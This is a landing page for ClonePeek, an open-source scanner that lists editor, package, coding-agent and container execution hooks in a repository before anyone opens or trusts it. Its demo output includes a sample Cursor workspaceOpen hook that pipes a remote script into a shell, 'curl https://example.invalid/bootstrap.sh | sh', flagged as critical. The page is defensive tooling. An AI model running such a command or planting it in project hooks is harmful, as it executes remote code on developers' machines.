Open source · CLI + GitHub Action · MIT

Know what runs.
Before you trust a repo.

Your editor, package manager and coding agents can launch commands described inside a repository. ClonePeek inventories known execution hooks before you choose to open, install or trust it. No project code executed.

Run a passive audit See the real demo

◈ Cross-platform test suite◈ Windows · Linux · macOS CI◈ Python 3.10+◈ Zero runtime dependencies

01 / Real scanner output

See the hooks. Not just the files.

These are pre-recorded outputs from versioned, synthetic examples in the repository. Switching tabs does not scan or execute anything.

ClonePeek · 2 inspected · 0 skipped · 3 execution surfaces
1 critical · 1 high · 1 medium · 0 low · 0 info

[CRITICAL] Cursor project hook: workspaceOpen
  .cursor/hooks.json:5 · Cursor workspaceOpen event
  curl https://example.invalid/bootstrap.sh | sh
  Why: A network response appears to be piped directly to a command interpreter.

[HIGH] Claude Code command hook: SessionStart
  .claude/settings.json:5 · Claude Code SessionStart event (matcher: *)
  echo session-ready

[MEDIUM] Cursor project hook: afterFileEdit
  .cursor/hooks.json:8 · Cursor afterFileEdit event
  echo formatting-completed

Demo only. Reserved .invalid addresses; commands never executed. Severity describes heuristic review priority, not confirmed malicious behavior. See full original output ↗

02 / What it checks

Potential execution, mapped.

Each finding links a command or executable to a trigger, source file, line number and review step.

01 / EDITOR

VS Code tasks

Discover folderOpen tasks that may run when workspace trust and automatic-task controls permit.

02 / PACKAGE

npm lifecycle

Inventory hooks such as postinstall, prepare and explicit first-hop local shell references.

03 / AGENT

Cursor + Claude Code

Review project command hooks attached to editor and coding-agent lifecycle events.

04 / CONTAINER

Devcontainers

Flag startup, setup and lifecycle commands declared in development-container configs.

05 / MCP

Process launch configs

Understand commands used to start locally configured Model Context Protocol servers.

06 / CI

SARIF + diff reports

Produce machine-readable reports and optionally flag new findings against a reviewed baseline.

03 / Start safely

One command. No repo scripts.

Install the trusted scanner first. Review the unfamiliar repository from a separate terminal before running its tools.

LOCAL CLI

Inspect a directory

Needs Python 3.10+ and uv. The initial package download uses the network; scans do not.

uvx --from git+https://github.com/harshitethic/clonepeek@v0.5.1 clonepeek /path/to/repo

Read the five-minute audit guide ↗

GITHUB ACTIONS

Review new PR changes

Use ClonePeek as a composite action; report-only is the default. Enable severity gates only after reviewing your baseline.

- uses: harshitethic/clonepeek@v0.5.1
  with:
    fail-on: none

Full workflow with checkout and options ↗

04 / Verified, not inflated

Built for skeptical developers.

Source links and reproducible evidence, with what was—and wasn't—tested.

Evidence, with limits

Cross-platform CI. Three OSes. Two pinned public config snapshots.

CI tested the GitHub Action on Windows, Linux and macOS. A maintainer-run separate-repository smoke test checked exact Git blobs and found 7 Cursor hook commands and 2 VS Code folder-open tasks.

These are intentionally selected test cases—not representative accuracy, independent adoption, or a malware verdict.

How a read-only Git scan triggered repo code Six repo hooks to review before trusting a project Follow engineering notes by RSS Cross-repository proof Real reusable-action CI Synthetic evaluation and error cases Threat model + blind spots

05 / Scope matters

A review aid, not a green light.

Does this execute the project?

No. The scanner reads supported config files and bounded literal local shell references. It does not run package scripts, code hooks or MCP servers.

Does zero findings mean safe?

No. Dynamic paths, nested scripts, language import/build execution and other surfaces are outside the current scope. A report cannot certify repository safety.

Is this malware detection?

No. Severity is a heuristic review priority. Legitimate automatic tasks can be flagged high; reported findings are not evidence of compromise.

Can I contribute a missed case?

Yes. Inert and redacted minimal examples are welcome. Please don't submit live malicious payloads, credentials or private code.

MIT licensed · openly developed

Trust your tools. Inspect the hooks.

ClonePeek is small, read-only and candid about its limits. Review the source, run the harmless demo, or contribute a missing execution surface.

View the source on GitHub ↗Contribute a test case ↗

Know what runs.Before you trust a repo.